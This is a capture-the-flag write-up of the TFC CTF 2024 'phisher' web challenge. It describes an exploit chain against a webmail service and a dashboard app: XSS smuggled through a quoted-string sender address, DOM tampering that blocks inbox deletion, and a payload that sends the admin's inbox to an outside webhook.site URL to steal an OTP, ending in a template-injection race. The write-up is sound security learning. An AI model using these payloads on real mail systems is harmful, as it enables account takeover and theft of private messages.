TFC CTF 2024 - phisher

  • Author: drakon
  • Date:

TFC CTF 2024 - phisher

Hi! Two writeups in one month, that’s gotta be a record. And yes, I’m still posting on the CoR website. At this point, I don’t think anybody will read my actual blog anymore.

This weekend, I played TFC CTF 2024 with .;,;.. Well, “played”.

stupid bet

Stephen did manage to solve my puzzle, so I made good on my promise and helped him with some of the web. I had a lot of fun – I’ve spent the last few weeks in math hell, so it’s nice to get back to some good old XSS. Speaking of XSS, I managed to blood phisher 5 minutes before the end of the CTF.

blood

This was a super interesting challenge, and I had a lot of fun playing it. Thanks to Mtib for writing a super fun challenge!

phisher

challenge

phisher was one of the most complex web challenges in the CTF. There are two services in play: a mailserver (with webmail) and a generic webapp. We’ll start with the mailserver.

The mailserver itself is relatively straightforward. The server is just a wrapper for smtpd.SMTPServer, while the database is implemented in memory.

The webmail interface is fairly barebones. There’s the standard endpoints for registering, logging in, and an API for checking your inbox. The real problem lies in the template. In particular, the inbox is populated like so:

 1fetch('/api/inbox')
 2  .then(response => response.json())
 3  .then(emails => {
 4    const emailList = document.getElementById('email-list');
 5    emails.forEach((email, index) => {
 6      const emailItem = document.createElement('div');
 7      emailItem.className = 'email-item';
 8      emailItem.setAttribute('data-email-index', index);
 9
10      emailItem.innerHTML = `
11        <div>
12          <strong>From:</strong> ${email.from}<br>
13          <strong>Subject:</strong> ${email.subject}
14        </div>
15      `;
16
17      emailItem.addEventListener('click', () => {
18        document.getElementById('email-iframe').srcdoc = email.body;
19      });
20
21      emailList.appendChild(emailItem);
22    });
23  });

Here, observe that emailItem.innerHTML is set using a template literal! If we can get control over either email.from or email.subject, we have XSS. The srcdoc is also suspicious, but more on that later1.

There’s also an admin bot. This bot is triggered whenever the admin user receives an email, but there’s two important things to note.

First, the bot uses Firefox:

1driver_service = Service(GeckoDriverManager().install())
2options = webdriver.FirefoxOptions()
3options.add_argument('-headless')
4options.add_argument('-private')
5options.add_argument('-no-remote')

While Firefox is a great browser, CTF authors aren’t exactly known for using it. Most likely, the bug we’re looking for is Firefox-specific.

Second, the bot deletes all emails after checking them:

1# Delete the emails
2delete_button = client.find_element(By.CLASS_NAME, 'trash-button')
3delete_button.click()

This is really troublesome, since the admin bot runs this code every time we send them an email. This means that, even if we manage to get XSS, we won’t be able to read other messages!

But we’ll worry about that later. How do we even send emails?

This is where the webapp comes in. dashboard is a somewhat unique app – there is no user registration! Instead, inputting our username prompts us for an OTP:

otp

This OTP is directly mailed to our username. It looks something like this: otp email

Upon signing in, we’re prompted with a pretty unremarkable page. In fact, there’s only one feature: user referral. It’s the perfect pyramid scheme.

Referring a user lets us send them an email with custom message content. The code for sending them is pretty interesting:

 1if request.method == 'POST':
 2  sender = session['email']
 3  message = request.form['message']
 4  emails = request.form['emails']
 5
 6  if ',' in emails:
 7    if is_admin():
 8      emails = emails.split(',')
 9      mail_engine.send_bulk(sender, emails, message)
10    else:
11      flash('Only admin can send bulk referrals.')
12      return redirect(url_for('refer'))
13  else:
14    mail_engine.send(sender, emails, message)
15
16  flash('Referral sent successfully.')
17  return redirect(url_for('index'))
18
19return render_template('refer.html')

Once again, there are two things of note here.

First, it’s somewhat odd that bulk referrals are an admin-only permission. This looks like a fairly harmless feature, so there’s no real reason for it to be so exclusive.

More importantly, though, is the fact that referrals use our email as the sender address. If we can set our username to something nefarious, we should be able to get XSS.

Let’s give it a shot. We register an email as <h1>test</h1> and try to sign in to dashboard. No dice — there’s no OTP in our inbox!

What’s going on here? If we add some debug code to log every incoming message, we see something strange.

Message received
Content-Type: multipart/mixed; boundary="===============5246070434179107320=="
MIME-Version: 1.0
Subject: Your Phisher Dashboard one-time code
From: noreply@phisher.tfc
To: h1

The problem is that the SMTP spec supports display names. In order to distinguish between display names and actual emails, SMTP reserves < and >. So, something like John Johnson <john.johnson@cor.team> will get parsed as only john.johnson@cor.team.

Unfortunately for us, this means that our email address is being parsed as h1. We need a way past this.

One tempting avenue is via OTP prediction. Observe that we don’t actually need a valid email address to sign in to dashboard – we just need to get the OTP right. The OTP is generated using random.choice, which is not cryptographically secure. Additionally, we have arbitrarily many samples, since we can just repeatedly send ourselves login attempts. We might be able to recover PRNG state and predict the next OTP.

Unfortunately, random.choice drops too much information for us to recover state. Maybe a better mathematician than me can figure out a way, but I’m reasonably sure it’s infeasible. So, we’ll have to actually get a valid email address.

One interesting part of the SMTP spec is the quoted string. The local-part of the address can contain sections enclosed in double quotes, and the following characters (which are usually forbidden) are allowed: "(),:;<>@[\].

So, what if we enclose our payload with quotes? We’ll add a domain to be safe, which gives us something like

"<img src=x onerror=alert('pepega')>"@cor.team

Sure enough, this email comes through!

xss otp email

Unfortunately, we don’t quite have XSS yet. sandbox is set on the iframe, so we get the following error:
Blocked script execution in 'about:srcdoc' because the document's frame is sandboxed and the 'allow-scripts' permission is not set.

That’s ok – we weren’t trying to get XSS in the message content anyway. Our target is the sender. What happens if we send a referral?

popped xss

XSS, as expected. Now what?

Unfortunately, the session cookie is HttpOnly, so there’s no (easy) way for us to steal it. But why would we need the session cookie? Let’s set up a listener to dump the admin’s mailbox! The admin wipes the mailbox every time they check it, so we’ll need to handle that first.

This isn’t actually too difficult. The admin wipes their inbox by targeting a button by class and clicking it. Since we have XSS, we can just modify the DOM. This should do the trick:

"<img src=x onerror='let buttons = document.getElementsByClassName(`trash-button`); for (let elem of buttons) {elem.remove()}; let dummy = document.createElement(`button`); dummy.classList.add(`trash-button`); document.body.appendChild(dummy);'>"@cor.team

This code just deletes every element with the trash-button class and then registers a new, useless button. Now, the admin will press the button, accomplishing exactly nothing. This gives us payload persistence, so now we can move on to actually setting up a listener.

The listener is nothing fancy. Since our payloads will be triggered every time the admin receives a message, we can just wrap up an API call and send it to our site.

"<img src=x onerror='fetch(`/api/inbox`).then(data=>data.text()).then(text=>navigator.sendBeacon(`https://webhook.site/b78d33fb-de9e-4e94-bddf-2138ba2c18f5`,text))'>"@cor.team

Sure enough, this immediately dumps the inbox:

inbox

Now we can sign in as admin on the dashboard by stealing their OTP token. Now what?

Let’s take a step back. What are we even doing? So far, we’ve basically been doing the CTF equivalent of neuron activation. We popped XSS on the admin, but there wasn’t a flag to steal. Now we’re signed in as them on the dashboard, but still all we can do is send referrals. Where’s the flag?

The flag, frustratingly enough, is stored in a file. Somehow, we need to get LFI. I briefly considered trying to escalate XSS to LFI – corCTF did a similar type of challenge in 2021. The admin bot accesses localhost:5000, not an external domain, so we might be able to get some kind of access to the WebDriver? It’s a long shot, but the conditions might line up well.

Unfortunately, geckodriver is terribly documented. It’s really hard to exploit it when you don’t even know how to use it. I played around with this for several hours, but ultimately gave up2.

Instead, let’s refocus our attention on dashboard. So we’re signed in as admin. What’s changed? Well, we now have access to the bulk referral feature. How does it work behind the scenes?

The mail engine is implemented using the following code:

 1class MailEngine:
 2  def __init__(self):
 3    self.queue = []
 4
 5  def send(self, sender_email, rcpt, message):
 6    referral = Referral(sender_email, rcpt)
 7    referral.include_message(message)
 8    self.queue.append(referral)
 9
10    self._send_emails()
11
12  def send_bulk(self, sender_email, rcpts, message):
13    self.queue.extend(Referral(sender_email, rcpt) for rcpt in rcpts)
14    for referral in self.queue:
15      referral.include_message(message)
16
17    self._send_emails()
18
19  def _send_emails(self):
20    while self.queue:
21      referral = self.queue.pop(0)
22    referral.send()

send_bulk is implemented really weirdly. Notice how the loop passes over the entire queue. This means that, if the queue is not empty when this function is called, include_message will get called on old referrals!

To make this issue more clear, the following code doesn’t have the same problem.

1def send_bulk(self, sender_email, rcpts, message):
2  new_referrals = [Referral(sender_email, rcpt) for rcpt in rcpts]
3  for referral in new_referrals:
4    referral.include_message(message)
5  self.queue.extend(new_referrals)
6  self._send_emails()

But what’s the harm in including a message twice? We’ll just overwrite old messages, right?

 1class Referral():
 2  def __init__(self, email, rcpt):
 3    self.sender = email
 4    self.rcpt = rcpt
 5    self.template = referral_template
 6
 7  def include_message(self, message):
 8    self.template = render_template_string(self.template, sender_email=self.sender, message=message)
 9
10  def send(self):
11    msg = Message(
12    subject="You were referred",
13    sender=self.sender,
14    recipients=[self.rcpt],
15    html=self.template
16  )
17  mail.send(msg)

Oh. The issue is that include_message is calling render_template_string. If we call include_message twice, we’re basically rendering a template twice, which is a textbook SSTI scenario.

To trigger this bug, we need to fill the queue up with messages. Then, while these messages are sending, we need to trigger a bulk referral. The first few pending messages will be evaluated twice, letting us get SSTI.

To test it, we’ll send the following two bulk referrals:

the first batch

the second batch

If we trigger these (with a short delay between them), we should get a bunch of unevaluated templates, a bunch of no hit, and right in between, a few successful SSTI payloads. We send them off, and sure enough:

successful ssti

We’re almost there! Unfortunately, quotes are banned. Fortunately, my new team is apparently filled with pyjail enthusiasts. With 6 minutes left before the CTF ends, my teammate sends me this monstrosity:

quasar clutches

I don’t have enough time to figure out what it does. All I can do is plug it in and pray…

And it hits!

victory

With 5 minutes left in the CTF, we get the flag and blood the challenge.

TFCCTF{r3nd3r1ng_u53r_1npu7_1n_3ma1ls...u9hhhh}

The Intended Solution

It turns out my solution wasn’t intended.

intended

As it turns out, the srcdoc was relevant! It doesn’t matter that sandbox is specified, since that only prevents JavaScript execution.

This also explains the choice of Firefox:

firefox being relevant

This is actually a fact that I knew! A very similar exploit (targeting Yahoo! mail, if I recall correctly) was done on Firefox many years ago. The premise was that you could leak messages by sandwiching them between malicious messages by exploiting dangling markup (although they used CSS and background-image).

The advantage of this approach, obviously, is that you don’t need JS execution. The downside is that your victim has to actively open the email (hence the name phishing). In essence, this is a one-click attack, while the XSS is a zero-click.

Either way, this was definitely a really cool exploit chain. I really enjoyed the multiple services and the chain of attacks you needed to pull off to actually get the flag. Thanks again to Mtib for writing this awesome challenge!

I’ll see you after DEFCON. Probably.


  1. It turns out that XSS was unintended! We were supposed to use the srcdoc and abuse dangling markup. ↩︎

  2. If anyone knows if this is possible, please let me know! I suspect geckodriver isn’t actually vulnerable to this kind of attack, since it would be a pretty severe vulnerability. At a minimum, I suspect you need a 0day. ↩︎